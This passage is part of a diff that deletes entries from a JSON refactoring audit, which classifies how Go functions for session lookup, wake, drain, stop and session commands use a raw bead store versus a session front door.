-   "param": "store",
-   "callees": "chooseSessionNameForTemplate",
-   "notes": "Lists beads by the agent:<template> label (session beads) and ranks via chooseSessionNameForTemplate. Read-only session lookup expressed as a raw store.List; passes raw store onward to chooseSessionNameForTemplate (which also calls RepairEmptyType). Raw session read/list not modeled by InfoStore. The store.List is a generic list filtered to session beads (RAW_BY_DESIGN session read).",
-   "sig": "func findSessionNameByAgentLabel(store beads.Store, template string) string"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "findSessionNameByMetadata",
-   "line": "518",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(sessionpkg.ExactMetadataSessionCandidates(store, false, {key:value}) session-bead metadata query; chooseSessionNameForTemplate)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "chooseSessionNameForTemplate",
-   "notes": "Read-only: queries session beads by exact metadata via sessionpkg.ExactMetadataSessionCandidates(store,...) and ranks them through chooseSessionNameForTemplate (passing the raw store on). Session-scoped read over the raw store, not covered by the InfoStore front door. Documented raw session read.",
-   "sig": "func findSessionNameByMetadata(store beads.Store, key, value string, agentNameMatch bool) string"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "chooseSessionNameForTemplate",
-   "line": "526",
-   "verdict": "MIXED",
-   "objops": "SESSION(sessionpkg.RepairEmptyType(store, &b) \u2014 persists empty session-bead Type via store.Update when repairing a session bead)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "Selects a session_name from already-fetched items; the only store use is sessionpkg.RepairEmptyType(store,&b), which MUTATES (store.Update Type) the session bead to repair an empty Type. That is a session-bead write but goes through sessionpkg.RepairEmptyType(beads.Store) rather than the InfoStore front door, which does not expose a Type-repair method. Residual: keep raw store for RepairEmptyType (session repair write). MIXED because the lone op is a raw session mutation the front door doesn't cover.",
-   "sig": "func chooseSessionNameForTemplate(store beads.Store, items []beads.Bead, agentNameMatch bool, key, value, queryTemplate string) string"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "lookupSessionName",
-   "line": "573",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(findSessionNameByTemplate session-bead query)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "findSessionNameByTemplate",
-   "notes": "Thin wrapper: nil-guards then delegates to findSessionNameByTemplate(store,...), a raw session-bead read. No direct store op; inherits findSessionNameByTemplate's raw session-read classification. Documented raw session read.",
-   "sig": "func lookupSessionName(store beads.Store, qualifiedName string) (string, bool)"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "lookupSessionNameOrLegacy",
-   "line": "587",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(lookupSessionName -> findSessionNameByTemplate session-bead query)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "lookupSessionName",
-   "notes": "Tries lookupSessionName (raw session read) then falls back to agent.SessionNameFor (pure, no store). Only store use is the session-name lookup via lookupSessionName. Documented raw session read; same disposition as lookupSessionName/findSessionNameByTemplate.",
-   "sig": "func lookupSessionNameOrLegacy(store beads.Store, cityName, qualifiedName, sessionTemplate string) string"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "lookupPoolSessionNameCandidates",
-   "line": "622",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(sessionpkg.ListAllSessionBeads(store, beads.ListQuery{}) lists all session beads, then per-bead session identity/slot derivation)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "Read-only: loads every session bead via sessionpkg.ListAllSessionBeads(store,...) and builds ranked pool-instance candidates from their metadata. No mutation, no by-id resolution, no work ops. Session-scoped list read over the raw store, not exposed by InfoStore. Documented raw session read.",
-   "sig": "func lookupPoolSessionNameCandidates(store beads.Store, template string, cfg *config.City, cfgAgent *config.Agent) (map[string][]poolLookupCandidate, error)"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "lookupPoolSessionNames",
-   "line": "780",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(lookupPoolSessionNameCandidates -> sessionpkg.ListAllSessionBeads session-bead list)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "lookupPoolSessionNameCandidates",
-   "notes": "Delegates to lookupPoolSessionNameCandidates (raw session list read) then collapses ranked candidates to a single session_name per agent. Only store use is the delegated session list read. Documented raw session read; same disposition as lookupPoolSessionNameCandidates.",
-   "sig": "func lookupPoolSessionNames(store beads.Store, cfg *config.City, cfgAgent *config.Agent) (map[string]string, error)"
-  },
-  {
-   "file": "session_circuit_breaker.go",
-   "name": "persistSessionCircuitBreakerMetadata",
-   "line": "609",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "store used ONLY at line 628 via sessionFrontDoor(store).ApplyPatch(session.ID, metadata). The *beads.Bead session param is passed in by the caller (read .Metadata/.ID/mutate the in-memory copy) and is NOT obtained via store.Get here, so no GENERIC_GET. Convert store param to `sessions *session.InfoStore` and replace sessionFrontDoor(store) with sessions.",
-   "sig": "func persistSessionCircuitBreakerMetadata(\n\tstore beads.Store,\n\tsession *beads.Bead,\n\tcb *sessionCircuitBreaker,\n\tidentity string,\n\tnow time.Time,\n) error"
-  },
-  {
-   "file": "session_circuit_breaker.go",
-   "name": "recordSessionCircuitBreakerRestart",
-   "line": "640",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "store used ONLY at line 670 via sessionFrontDoor(store).ApplyPatch(session.ID, metadata). All other work (recordRestartLocked/metadataLocked/restoreEntryLocked) is pure breaker in-memory state on cb, not the store. The *beads.Bead is a passed-in param, not store.Get -> no GENERIC_GET. Convert store param to `sessions *session.InfoStore`.",
-   "sig": "func recordSessionCircuitBreakerRestart(\n\tstore beads.Store,\n\tsession *beads.Bead,\n\tcb *sessionCircuitBreaker,\n\tidentity string,\n\tnow time.Time,\n) (circuitBreakerStateKind, error)"
-  },
-  {
-   "file": "session_circuit_breaker.go",
-   "name": "loadPersistedSessionCircuitResetGeneration",
-   "line": "735",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).CircuitResetGeneration",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "store used ONLY at line 739 via sessionFrontDoor(store).CircuitResetGeneration(sessionID) \u2014 the documented circuit reset-generation front-door read. This is a session-object read through the InfoStore (not a raw by-id Get of an arbitrary bead), so SESSION_ONLY not RAW_BY_DESIGN. Convert store param to `sessions *session.InfoStore`.",
-   "sig": "func loadPersistedSessionCircuitResetGeneration(store beads.Store, sessionID, identity string, cb *sessionCircuitBreaker) error"
-  },
-  {
-   "file": "session_circuit_breaker.go",
-   "name": "clearPersistedSessionCircuitBreakerMetadata",
-   "line": "749",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "store used ONLY at line 760 via sessionFrontDoor(store).ApplyPatch(sessionID, metadata) to clear/reset the circuit metadata. Convert store param to `sessions *session.InfoStore`.",
-   "sig": "func clearPersistedSessionCircuitBreakerMetadata(store beads.Store, sessionID string, resetGeneration uint64) error"
-  },
-  {
-   "file": "session_wake.go",
-   "name": "preWakeCommit",
-   "line": "31",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(sessionFrontDoor)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "Only use of store is sessionFrontDoor(store).ApplyPatch(session.ID, batch) at L68 (PreWakePatch incarnation commit). No work/by-id/graph use. Convert store param to sessions *session.InfoStore; caller already loaded the session bead via sessionLookup so no Get-by-id needed.",
-   "sig": "func preWakeCommit(session *beads.Bead, store beads.Store, clk clock.Clock) (newGen int, token string, err error)"
-  },
-  {
-   "file": "session_wake.go",
-   "name": "completeDrain",
-   "line": "608",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:ApplyPatch(sessionFrontDoor)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "Only use of store is sessionFrontDoor(store).ApplyPatch(session.ID, batch) at L611, guarded by store != nil (L610). CompleteDrainPatch metadata write. Convert to sessions *session.InfoStore; preserve nil-guard semantics (callers pass store that may be nil).",
-   "sig": "func completeDrain(session *beads.Bead, store beads.Store, ds *drainState, clk clock.Clock)"
-  },
-  {
-   "file": "session_wake.go",
-   "name": "advanceSessionDrainsWithSessionsTraced",
-   "line": "428",
-   "verdict": "MIXED",
-   "objops": "SESSION:ApplyPatch(via completeDrain)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "completeDrain,verifiedStop",
-   "notes": "Real drain-advance worker. Routes store to completeDrain (SESSION ApplyPatch, L479+L593), to verifiedStop(*session, store, sp, cfg) (L570) and to workerSessionTargetRunningWithConfig(\"\", store, sp, cfg, session.ID) (L473+L588) which resolve the session via the worker factory by ID (ResolveSessionBeadByExactID/ResolveSessionID). Session metadata reads (generation, session_name) are off the already-loaded bead from sessionLookup, NOT store.Get. Needs both: a session front door for completeDrain AND the raw store for worker by-id resolution / observe. Residual: keep raw store for worker-factory by-id resolution (verifiedStop + running-probe).",
-   "sig": "func advanceSessionDrainsWithSessionsTraced(dt *drainTracker, sp runtime.Provider, store beads.Store, sessionLookup func(id string) *beads.Bead, sessions []beads.Bead, wakeEvals map[string]wakeEvaluation, cfg *config.City, poolDesired map[string]int, workSet map[string]bool, readyWaitSet map[string]bool, clk clock.Clock, trace *sessionReconcilerTraceCycle)"
-  },
-  {
-   "file": "session_wake.go",
-   "name": "advanceSessionDrainsWithSessions",
-   "line": "412",
-   "verdict": "MIXED",
-   "objops": "SESSION:ApplyPatch(transitively via Traced->completeDrain)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "advanceSessionDrainsWithSessionsTraced",
-   "notes": "Pure forwarder: body only calls advanceSessionDrainsWithSessionsTraced(dt, sp, store, ...) at L425, passing the raw store down. Performs no object op directly but carries the store into the MIXED tree. Refactor must forward both the session front door (for completeDrain) and the raw store (for worker by-id resolution). Residual: raw store for downstream worker resolution.",
-   "sig": "func advanceSessionDrainsWithSessions(dt *drainTracker, sp runtime.Provider, store beads.Store, sessionLookup func(id string) *beads.Bead, sessions []beads.Bead, wakeEvals map[string]wakeEvaluation, cfg *config.City, poolDesired map[string]int, workSet map[string]bool, readyWaitSet map[string]bool, clk clock.Clock)"
-  },
-  {
-   "file": "session_wake.go",
-   "name": "advanceSessionDrains",
-   "line": "392",
-   "verdict": "MIXED",
-   "objops": "SESSION:ApplyPatch(transitively via WithSessions->completeDrain)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "advanceSessionDrainsWithSessions",
-   "notes": "Public per-tick entry. Builds sessions slice from dt.all()+sessionLookup, then forwards raw store to advanceSessionDrainsWithSessions (L409). No direct object op; carries store into the MIXED tree. Same as the WithSessions forwarder: needs to forward both front door (completeDrain) and raw store (worker by-id resolution). Residual: raw store for downstream worker resolution.",
-   "sig": "func advanceSessionDrains(dt *drainTracker, sp runtime.Provider, store beads.Store, sessionLookup func(id string) *beads.Bead, cfg *config.City, poolDesired map[string]int, workSet map[string]bool, readyWaitSet map[string]bool, clk clock.Clock)"
-  },
-  {
-   "file": "session_bead_cycle.go",
-   "name": "recordCurrentBeadIDOnWake",
-   "line": "21",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).RecordCurrentBead",
-   "other": "NONE",
-   "param": "store",
-   "callees": "",
-   "notes": "store used ONLY for sessionFrontDoor(store).RecordCurrentBead(session.ID,beadID) \u2014 a session-metadata patch via the session front door. session bead is passed in by caller, not fetched via store.Get; nil-guards on store. Convert `store beads.Store` -> `sessions *session.InfoStore` and call sessions.RecordCurrentBead directly.",
-   "sig": "func recordCurrentBeadIDOnWake(session *beads.Bead, store beads.Store, beadID string, stderr io.Writer)"
-  },
-  {
-   "file": "session_bead_cycle.go",
-   "name": "cycleAliveSessionForFreshReassign",
-   "line": "59",
-   "verdict": "MIXED",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch(RestartRequestPatch+CurrentBeadIDKey),SESSION:resetSessionCircuitBreakerState(session-metadata reset/clear via sessionFrontDoor)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "workerKillSessionTargetWithConfig,resetSessionCircuitBreakerState",
-   "notes": "RESIDUAL = raw store kept for worker-handle/target resolution: workerKillSessionTargetWithConfig(\\\"\\\",store,sp,cfg,name) resolves a worker.Handle by session target off the raw store (BYID/target resolve). The session work itself \u2014 sessionFrontDoor(store).ApplyPatch(session.ID,batch) for RestartRequestPatch + CurrentBeadIDKey, and resetSessionCircuitBreakerState(store,session.ID,identity,cb) which internally only touches session metadata via sessionFrontDoor (CircuitResetGeneration read + ApplyPatch clear) \u2014 should move to a `sessions *session.InfoStore`. So: take BOTH a typed session front door for the patch/breaker-reset AND keep the raw beads.Store for workerKillSessionTargetWithConfig target resolution. resetSessionCircuitBreakerState is itself a session-only helper that could be converted to the front door in a separate pass.",
-   "sig": "func cycleAliveSessionForFreshReassign(\\n\\tsession *beads.Bead,\\n\\ttp TemplateParams,\\n\\tsp runtime.Provider,\\n\\tstore beads.Store,\\n\\tcfg *config.City,\\n\\tcb *sessionCircuitBreaker,\\n\\tname string,\\n\\tnewBeadID string,\\n\\tnow time.Time,\\n\\tstdout, stderr io.Writer,\\n\\ttrace *sessionReconcilerTraceCycle,\\n) bool"
-  },
-  {
-   "file": "soft_reload.go",
-   "name": "acceptConfigDriftAcrossSessions",
-   "line": "82",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:list-session-beads(loadSessionBeadSnapshot via store.Store -> sessionpkg.ListAllSessionBeads),SESSION:metadata-patch(sessionFrontDoor(store).ApplyPatch session.ID,metadata)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE(passes store.Store to loadSessionBeadSnapshot and store to sessionFrontDoor, both already-defined out-of-file session helpers; calls in-file cancelSoftReloadConfigDriftDrain/clearSoftReloadConfigDriftDrainAck/softReloadAcceptedHashMetadata but NONE of those take a store)",
-   "notes": "Param is ALREADY the typed beads.SessionStore class wrapper, not a raw beads.Store. Only two store touches, both session-class: (1) loadSessionBeadSnapshot(store.Store) lists Type==session beads (line 96, guarded by store.Store==nil at 91), (2) sessionFrontDoor(store).ApplyPatch(session.ID, metadata) stamps started_config_hash/started_provision_hash/started_launch_hash/core_hash_breakdown (line 146). No WORK/by-id/federation/graph/OPENS use. Convert param to `sessions *session.InfoStore`; loadSessionBeadSnapshot needs a raw beads.Store, so reach it via the front door's embedded store (sessions.Store / a session-list method) \u2014 that residual is the only conversion friction, still session-class so verdict stays SESSION_ONLY not MIXED.",
-   "sig": "func acceptConfigDriftAcrossSessions(\n\tstore beads.SessionStore,\n\tdesired map[string]TemplateParams,\n\tsessionBeads *sessionBeadSnapshot,\n\tsp runtime.Provider,\n\tdt *drainTracker,\n\tstderr io.Writer,\n) softReloadAcceptanceResult"
-  },
-  {
-   "file": "cmd_stop.go",
-   "name": "cmdStopBody",
-   "line": "268",
-   "verdict": "ROOT",
-   "objops": "SESSION:openStore-then-wrap-SessionStore-for-markCityStopSessionSleepReason,session-name lookup via lookupSessionNameOrLegacy,pool session lookup via resolvePoolSessionRefs",
-   "other": "OPENS_STORE,BYID_RESOLVE",
-   "param": "store (local)",
-   "callees": "markCityStopSessionSleepReason(beads.SessionStore{Store:store}),lookupSessionNameOrLegacy(store,...),resolvePoolSessionRefs(store,...),doStop(...,store,...),stopOrphans(...,store,...)",
-   "notes": "Composition root: `store, _ := openCityStoreAt(cityPath)` at line 271 \u2014 the ONE place the session front door should be constructed once (e.g. sessions := sessionFrontDoor(store)) and threaded into markCityStopSessionSleepReason/doStop/stopOrphans; also still needs the raw store for by-id session-target probing (workerSessionTargetRunningWithConfig inside doStop) and session-name/pool lookups, so the raw store stays in scope here too.",
-   "sig": "func cmdStopBody(cityPath string, cfg *config.City, force bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_stop.go",
-   "name": "markCityStopSessionSleepReason",
-   "line": "347",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:store.ListByLabel(\"gc:session\") list,sessionMetadataState(session) reads .Metadata[state],sessionFrontDoor(store).SetMarker(id,\"sleep_reason\",...)",
-   "other": "NONE",
-   "param": "store (param)",
-   "callees": "(none \u2014 sessionFrontDoor is the in-file session helper applied to store)",
-   "notes": "Param is already the typed beads.SessionStore wrapper (not raw beads.Store) and the body does ONLY session object ops (label-list + metadata read + SetMarker via sessionFrontDoor). Convert param to `sessions *session.InfoStore` (InfoStore exposes the equivalent list + SetMarker), dropping the raw store entirely. Caller cmdStopBody constructs it from openCityStoreAt.",
-   "sig": "func markCityStopSessionSleepReason(store beads.SessionStore, stderr io.Writer)"
-  },
-  {
-   "file": "cmd_stop.go",
-   "name": "stopOrphans",
-   "line": "445",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:wraps store in beads.SessionStore{Store:store} and passes to gracefulStopAll (session-bead-backed graceful stop)",
-   "other": "NONE",
-   "param": "store (param)",
-   "callees": "gracefulStopAll(orphans, sp, timeout, rec, cfg, beads.SessionStore{Store:store}, ...)",
-   "notes": "The raw beads.Store param is used ONLY to build beads.SessionStore for gracefulStopAll; no work/by-id/graph use. Convert the param to `sessions *session.InfoStore` (or pass the beads.SessionStore directly) since gracefulStopAll only needs the session-store view.",
-   "sig": "func stopOrphans(sp runtime.Provider, desired map[string]bool, cfg *config.City, store beads.Store,\\n\\ttimeout time.Duration, rec events.Recorder, stdout, stderr io.Writer,\\n)"
-  },
-  {
-   "file": "cmd_stop.go",
-   "name": "doStop",
-   "line": "526",
-   "verdict": "MIXED",
-   "objops": "SESSION:wraps store in beads.SessionStore{Store:store} for gracefulStopAll",
-   "other": "BYID_RESOLVE",
-   "param": "store (param)",
-   "callees": "gracefulStopAll(running, sp, timeout, rec, cfg, beads.SessionStore{Store:store}, ...)",
-   "notes": "MIXED: the SESSION op (gracefulStopAll via beads.SessionStore) plus a residual raw-store use \u2014 workerSessionTargetRunningWithConfig(\"\", store, sp, cfg, sn) at line 552 is a per-session by-id/target running probe that needs the raw beads.Store. Take the typed session front door for the graceful-stop path AND keep the raw store (residual: BYID_RESOLVE for the session-target running check).",
-   "sig": "func doStop(sessionNames []string, sp runtime.Provider, cfg *config.City, store beads.Store, timeout time.Duration,\\n\\trec events.Recorder, stdout, stderr io.Writer,\\n) int"
-  },
-  {
-   "file": "cmd_session_wake.go",
-   "name": "cmdSessionWake",
-   "line": "44",
-   "verdict": "ROOT",
-   "objops": "SESSION:WakeSession,SESSION:RepairEmptyType,SESSION:sessionFrontDoor.ApplyPatch,SESSION:store.Get-then-read-status/metadata",
-   "other": "OPENS_STORE,BYID_RESOLVE,GENERIC_GET",
-   "param": "store",
-   "callees": "resolveSessionIDMaterializingNamed,sessionFrontDoor,session.WakeSession,session.RepairEmptyType",
-   "notes": "Composition root: opens the city store via openCityStore(stderr,\"gc session wake\") at line 46 and is the cobra RunE handler body. Performs SESSION object ops (session.WakeSession L73, session.RepairEmptyType L72, sessionFrontDoor(store).ApplyPatch L83) PLUS raw residuals: BYID_RESOLVE via resolveSessionIDMaterializingNamed(cityPath,cfg,store,args[0]) L56 and GENERIC_GET store.Get(id) L62 (bead then read by IsSessionBeadOrRepairable + sessionWakeHasRunnableTemplate for .Metadata). The store should be opened once here and the session.InfoStore front door constructed once; the raw store is still needed for by-id resolution and Get, so this stays the root that builds the front door rather than being converted. The two helpers sessionWakeHasRunnableTemplate (L122) and sessionWakeRequestedCreate (L133) take beads.Bead/config.City only and never touch a store.",
-   "sig": "func cmdSessionWake(args []string, stdout, stderr io.Writer, jsonOutput ...bool) int"
-  },
-  {
-   "file": "cmd_session_pin.go",
-   "name": "cmdSessionSetPin",
-   "line": "65",
-   "verdict": "ROOT",
-   "objops": "SESSION:sessionFrontDoor(store).SetMarker,SESSION:resolveSessionIDAllowClosed-then-mutate(resolveSessionIDWithConfig/resolveSessionIDMaterializingNamedWithMetadata then SetMarker),SESSION:store.Get(id)-then-read-Status/Type",
-   "other": "OPENS_STORE,BYID_RESOLVE,FEDERATION,GENERIC_GET",
-   "param": "store",
-   "callees": "resolveSessionIDWithConfig,resolveSessionIDMaterializingNamedWithMetadata,sessionFrontDoor,session.RepairEmptyType,session.IsSessionBeadOrRepairable(via b)",
-   "notes": "Composition root: opens store at L71 via openCityStore(stderr, \"gc session \"+action). Only store-touching fn in file. Residual raw uses after constructing front door: resolveSessionIDWithConfig(L88)/resolveSessionIDMaterializingNamedWithMetadata(L90,L98) pass raw store for by-id/federation resolve; store.Get(id) L105 (GENERIC_GET) then reads b.Status/IsSessionBeadOrRepairable; session.RepairEmptyType(store,&b) L114 mutates raw store. The single SESSION object op is sessionFrontDoor(store).SetMarker(id,\"pin_awake\",value) at L125 \u2014 construct front door once here from the opened store; keep raw store for resolve+Get+RepairEmptyType residual.",
-   "sig": "func cmdSessionSetPin(args []string, pinned bool, stdout, stderr io.Writer, jsonOutput ...bool) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionNew",
-   "line": "163",
-   "verdict": "ROOT",
-   "objops": "SESSION(EnsureAliasAvailableWithConfigForOwner+EnsureSessionNameAvailableWithConfig uniqueness; handle.Create session-bead create; maybeAutoTitle title; waitForSession status-read)",
-   "other": "OPENS_STORE,BYID_RESOLVE,GENERIC_GET",
-   "param": "store",
-   "callees": "maybeAutoTitle,waitForSession,newWorkerSessionHandleForResolvedRuntimeWithConfig",
-   "notes": "Composition root: opens via openCityStore at L216. Flows raw store into session.Ensure* uniqueness, the worker handle, maybeAutoTitle (title), waitForSession (status read). Construct sessionFrontDoor(store) once here; worker handle keeps raw store (handle construction RAW-by-design).",
-   "sig": "func cmdSessionNew(args []string, alias, title, titleHint string, noAttach, jsonOutput bool, waitTimeout time.Duration, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "maybeAutoTitle",
-   "line": "521",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION(api.MaybeGenerateTitleAsync persists the model-refined title onto the session bead beadID)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none in-file; delegates to api.MaybeGenerateTitleAsync)",
-   "notes": "store used ONLY to async-generate+persist the session title for one session bead. No by-id/work/graph residual. Convert store param to a typed session front door (api.MaybeGenerateTitleAsync would need to accept it, or pass *session.InfoStore). Called by cmdSessionNew at L336 and L450.",
-   "sig": "func maybeAutoTitle(store beads.Store, beadID, userTitle, titleHint string, provider *config.ResolvedProvider, workDir string, stderr io.Writer) <-chan struct{}"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "waitForSession",
-   "line": "661",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION(store.Get(beadID) then reads b.Status==\"closed\" to detect early session-start failure)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Only store use is store.Get(beadID) on the session bead to read .Status for early-failure detection. Single session OBJECT read -> convert to sessions *session.InfoStore (front-door Get/status). Could also be argued RAW_BY_DESIGN (session-start status probe), but it is a pure session-object read so SESSION_ONLY is the clean fit. Called by cmdSessionNew at L370.",
-   "sig": "func waitForSession(sp runtime.Provider, sessionName string, timeout time.Duration, store beads.Store, beadID string, stderr io.Writer) error"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "doSessionListFallback",
-   "line": "876",
-   "verdict": "ROOT",
-   "objops": "SESSION(session.ListAllSessionBeads list-of-session-beads; workerSessionCatalogWithConfig session catalog; readyWaitSetForList wait-bead read)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "readyWaitSetForList,workerSessionCatalogWithConfig",
-   "notes": "Composition root: opens via openCityStore at L881. Flows raw store into session.ListAllSessionBeads (session-bead LIST) and the worker session catalog, plus readyWaitSetForList (wait beads). All reads; no mutate. Front door here would be a read-capable *session.InfoStore for the list; readyWaitSetForList reads wait beads (separate concern).",
-   "sig": "func doSessionListFallback(stateFilter, templateFilter string, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionAttach",
-   "line": "1411",
-   "verdict": "ROOT",
-   "objops": "SESSION(resolveSessionIDMaterializingNamed materializes named-session bead; catalog.Get session info)",
-   "other": "OPENS_STORE,BYID_RESOLVE",
-   "param": "store",
-   "callees": "resolveSessionIDMaterializingNamed,workerSessionCatalogWithConfig,workerHandleForSessionWithConfig",
-   "notes": "Composition root: opens via openCityStore at L1423. No inline front-door mutate; store flows to resolveSessionIDMaterializingNamed (by-id/named resolution) and worker catalog/handle. BYID_RESOLVE residual keeps raw store; any session front-door op stays inside the catalog/resolver.",
-   "sig": "func cmdSessionAttach(args []string, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionSuspend",
-   "line": "1605",
-   "verdict": "ROOT",
-   "objops": "SESSION(sessionFrontDoor(store).ApplyPatch sets held_until/sleep_intent/state=suspended; resolveSessionIDWithConfig by-id resolution)",
-   "other": "OPENS_STORE,BYID_RESOLVE",
-   "param": "store",
-   "callees": "resolveSessionIDWithConfig,sessionFrontDoor,workerHandleForSessionWithConfig",
-   "notes": "Composition root: opens via openCityStore at L1607. Directly constructs sessionFrontDoor(store).ApplyPatch at L1631 (suspend metadata) \u2014 the canonical front-door call site. Residual: resolveSessionIDWithConfig (BYID) + worker handle fallback need raw store. Build the front door once here.",
-   "sig": "func cmdSessionSuspend(args []string, stdout, stderr io.Writer, jsonOutput ...bool) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionClose",
-   "line": "1710",
-   "verdict": "MIXED",
-   "objops": "SESSION(store.Get(sessionID) captures closing session bead for assignment ids; resolveSessionIDWithConfig by-id; handle.CloseDetailed)",
-   "other": "OPENS_STORE,BYID_RESOLVE,GENERIC_GET,WORK_UPDATE,RIG_STORES_MAP",
-   "param": "store",
-   "callees": "resolveSessionIDWithConfig,buildStandaloneRigStores,unclaimWorkAssignedToRetiredSessionBead,workerHandleForSessionWithConfig",
-   "notes": "Composition root AND mixed: opens via openCityStore at L1712. SESSION read store.Get(sessionID) at L1738. Residuals: unclaimWorkAssignedToRetiredSessionBead(store,rigStores,...) at L1763 is a WORK release (WORK_UPDATE) needing raw store + rigStores map (buildStandaloneRigStores L1761), and resolveSessionIDWithConfig (BYID). Keep raw store for the work-release + rig-stores residual; session read can move to the front door.",
-   "sig": "func cmdSessionClose(args []string, stdout, stderr io.Writer, jsonOutput ...bool) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionRename",
-   "line": "1801",
-   "verdict": "ROOT",
-   "objops": "SESSION(resolveSessionIDWithConfig by-id; handle.Rename session-title mutate via worker handle)",
-   "other": "OPENS_STORE,BYID_RESOLVE",
-   "param": "store",
-   "callees": "resolveSessionIDWithConfig,workerHandleForSessionWithConfig",
-   "notes": "Composition root: opens via openCityStore at L1805. The rename (session-title) mutate goes through workerHandleForSessionWithConfig.Rename, not an inline front-door call. Store also used for resolveSessionIDWithConfig (BYID). Raw store stays for by-id resolution + handle construction.",
-   "sig": "func cmdSessionRename(args []string, stdout, stderr io.Writer, jsonOutput ...bool) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionPrune",
-   "line": "1877",
-   "verdict": "ROOT",
-   "objops": "SESSION(catalog.PruneBefore closes dormant session beads; withdrawQueuedWaitNudges withdraws wait-nudge beads)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "workerSessionCatalogWithConfig",
-   "notes": "Composition root: opens via openCityStore at L1891. The session prune (close dormant session beads) runs through the worker session catalog (catalog.PruneBefore), not an inline front-door call. withdrawQueuedWaitNudges takes cityPath (opens its own store), not this store. Raw store flows only into the catalog.",
-   "sig": "func cmdSessionPrune(beforeStr, statesStr string, stdout, stderr io.Writer, jsonOutput ...bool) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "doSessionPeekFallback",
-   "line": "2120",
-   "verdict": "ROOT",
-   "objops": "SESSION(resolveSessionIDWithConfig by-id; handle.Peek session output read)",
-   "other": "OPENS_STORE,BYID_RESOLVE",
-   "param": "store",
-   "callees": "resolveSessionIDWithConfig,workerHandleForSessionWithConfig",
-   "notes": "Composition root: opens via openCityStore at L2121. No inline front-door mutate; store flows into resolveSessionIDWithConfig (BYID) and the worker handle (Peek). Raw store stays for by-id resolution + handle.",
-   "sig": "func doSessionPeekFallback(target string, lines int, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionKill",
-   "line": "2210",
-   "verdict": "MIXED",
-   "objops": "SESSION(store.Get(sessionID) reads session bead for identity/state; resolveSessionIDWithConfig by-id; resetSessionCircuitBreakerAfterExplicitKill clears session circuit-breaker metadata)",
-   "other": "OPENS_STORE,BYID_RESOLVE,GENERIC_GET",
-   "param": "store",
-   "callees": "resolveSessionIDWithConfig,resetSessionCircuitBreakerAfterExplicitKill,workerHandleForSessionWithConfig",
-   "notes": "Composition root AND mixed: opens via openCityStore at L2212. SESSION read store.Get(sessionID) at L2229 (reads identity + state), and resetSessionCircuitBreakerAfterExplicitKill(store,...) at L2252 mutates session circuit-breaker metadata. Residual: resolveSessionIDWithConfig (BYID) + worker handle. The session read + circuit-breaker reset are SESSION object ops that can take the front door; raw store stays for BYID + handle. Note: notes the GENERIC_GET is a session-bead get.",
